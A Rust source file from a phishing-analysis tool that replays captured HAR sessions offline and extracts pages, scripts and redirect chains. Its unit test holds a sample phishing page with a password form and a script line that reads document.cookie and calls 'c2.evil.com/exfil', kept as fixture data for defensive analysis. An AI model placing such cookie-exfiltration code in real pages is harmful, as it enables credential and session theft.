/// HAR (HTTP Archive) replay for deterministic analysis.
///
/// A researcher captures a phishing session with Chrome DevTools or mitmproxy,
/// exports it as a HAR file, then feeds it to jsdet. The HAR provides:
/// - The exact HTML that was served
/// - All external script/CSS/image responses
/// - The redirect chain
/// - Response headers (CSP, cookies, etc.)
///
/// jsdet replays the HAR deterministically — same input, same output, every time.
/// No network access needed. The researcher can modify the HAR and re-analyze
/// to test "what if" scenarios.
///
use std::collections::HashMap;

use crate::network::{FakeResponse, ResponseRegistry};

/// A parsed HAR file.
#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarArchive {
    pub log: HarLog,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarLog {
    #[serde(default)]
    pub entries: Vec<HarEntry>,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarEntry {
    pub request: HarRequest,
    pub response: HarResponse,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarRequest {
    pub method: String,
    pub url: String,
    #[serde(default)]
    pub headers: Vec<HarHeader>,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarResponse {
    pub status: u16,
    #[serde(default)]
    pub headers: Vec<HarHeader>,
    pub content: HarContent,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarContent {
    #[serde(default)]
    pub size: i64,
    #[serde(rename = "mimeType", default)]
    pub mime_type: String,
    #[serde(default)]
    pub text: Option<String>,
    #[serde(default)]
    pub encoding: Option<String>,
}

#[derive(Debug, Clone, serde::Deserialize)]
pub struct HarHeader {
    pub name: String,
    pub value: String,
}

/// Load a HAR file and build a ResponseRegistry from it.
///
/// Every URL in the HAR becomes an exact-match fake response.
/// When jsdet's fetch() or XHR hits that URL, it gets the exact response
/// that was captured in the HAR.
pub fn har_to_response_registry(har: &HarArchive) -> ResponseRegistry {
    let mut registry = ResponseRegistry::new();

    for entry in &har.log.entries {
        let body = match (
            &entry.response.content.text,
            &entry.response.content.encoding,
        ) {
            (Some(text), Some(enc)) if enc == "base64" => decode_base64(text),
            (Some(text), _) => text.clone(),
            (None, _) => String::new(),
        };

        let mut headers = HashMap::new();
        for h in &entry.response.headers {
            headers.insert(h.name.to_ascii_lowercase(), h.value.clone());
        }

        let content_type = headers
            .get("content-type")
            .cloned()
            .unwrap_or_else(|| entry.response.content.mime_type.clone());

        registry.add_exact(
            &entry.request.url,
            FakeResponse {
                status: entry.response.status,
                status_text: "OK".into(),
                headers,
                body,
                content_type,
            },
        );
    }

    registry
}

/// Extract the initial HTML page from a HAR file.
/// Returns the URL and HTML body of the first text/html response.
pub fn extract_initial_page(har: &HarArchive) -> Option<(String, String)> {
    for entry in &har.log.entries {
        let is_html =
            entry.response.content.mime_type.contains("html")
                || entry.response.headers.iter().any(|h| {
                    h.name.eq_ignore_ascii_case("content-type") && h.value.contains("html")
                });

        if is_html
            && entry.response.status < 400
            && let Some(text) = &entry.response.content.text
            && !text.is_empty()
        {
            return Some((entry.request.url.clone(), text.clone()));
        }
    }
    None
}

/// Extract all JavaScript from a HAR file.
/// Returns URL → script content for all JS responses.
pub fn extract_scripts(har: &HarArchive) -> Vec<(String, String)> {
    let mut scripts = Vec::new();
    for entry in &har.log.entries {
        let is_js = entry.response.content.mime_type.contains("javascript")
            || entry.request.url.ends_with(".js")
            || entry.response.headers.iter().any(|h| {
                h.name.eq_ignore_ascii_case("content-type") && h.value.contains("javascript")
            });

        if is_js
            && let Some(text) = &entry.response.content.text
            && !text.is_empty()
        {
            scripts.push((entry.request.url.clone(), text.clone()));
        }
    }
    scripts
}

/// Extract the redirect chain from a HAR file.
pub fn extract_redirect_chain(har: &HarArchive) -> Vec<(String, u16, String)> {
    let mut chain = Vec::new();
    for entry in &har.log.entries {
        if (300..400).contains(&entry.response.status) {
            let location = entry
                .response
                .headers
                .iter()
                .find(|h| h.name.eq_ignore_ascii_case("location"))
                .map(|h| h.value.clone())
                .unwrap_or_default();
            chain.push((entry.request.url.clone(), entry.response.status, location));
        }
    }
    chain
}

/// Minimal base64 decoder — no external dependencies.
fn decode_base64(input: &str) -> String {
    const TABLE: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    let mut lookup = [255u8; 256];
    for (i, &b) in TABLE.iter().enumerate() {
        lookup[b as usize] = i as u8;
    }

    let clean: Vec<u8> = input
        .bytes()
        .filter(|b| lookup[*b as usize] != 255 || *b == b'=')
        .collect();
    let mut bytes = Vec::with_capacity(clean.len() * 3 / 4);

    for chunk in clean.chunks(4) {
        if chunk.len() < 2 {
            break;
        }
        let a = lookup[chunk[0] as usize] as u32;
        let b = lookup[chunk.get(1).copied().unwrap_or(b'A') as usize] as u32;
        let c = lookup[chunk.get(2).copied().unwrap_or(b'A') as usize] as u32;
        let d = lookup[chunk.get(3).copied().unwrap_or(b'A') as usize] as u32;
        let triple = (a << 18) | (b << 12) | (c << 6) | d;
        bytes.push((triple >> 16) as u8);
        if chunk.len() > 2 && chunk[2] != b'=' {
            bytes.push((triple >> 8) as u8);
        }
        if chunk.len() > 3 && chunk[3] != b'=' {
            bytes.push(triple as u8);
        }
    }

    String::from_utf8_lossy(&bytes).into_owned()
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn parse_simple_har() {
        let har_json = r#"{
            "log": {
                "entries": [
                    {
                        "request": { "method": "GET", "url": "https://evil.com/phish", "headers": [] },
                        "response": {
                            "status": 200,
                            "headers": [{"name": "Content-Type", "value": "text/html"}],
                            "content": {
                                "size": 100,
                                "mimeType": "text/html",
                                "text": "<html><body><form action='/steal'><input type='password'></form></body></html>"
                            }
                        }
                    },
                    {
                        "request": { "method": "GET", "url": "https://evil.com/kit.js", "headers": [] },
                        "response": {
                            "status": 200,
                            "headers": [{"name": "Content-Type", "value": "application/javascript"}],
                            "content": {
                                "size": 50,
                                "mimeType": "application/javascript",
                                "text": "document.cookie; fetch('https://c2.evil.com/exfil');"
                            }
                        }
                    }
                ]
            }
        }"#;

        let har: HarArchive = serde_json::from_str(har_json).unwrap();
        let (url, html) = extract_initial_page(&har).unwrap();
        assert_eq!(url, "https://evil.com/phish");
        assert!(html.contains("<form"));

        let scripts = extract_scripts(&har);
        assert_eq!(scripts.len(), 1);
        assert!(scripts[0].1.contains("document.cookie"));

        let registry = har_to_response_registry(&har);
        let resp = registry.get("https://evil.com/kit.js");
        assert_eq!(resp.status, 200);
        assert!(resp.body.contains("document.cookie"));
    }
}
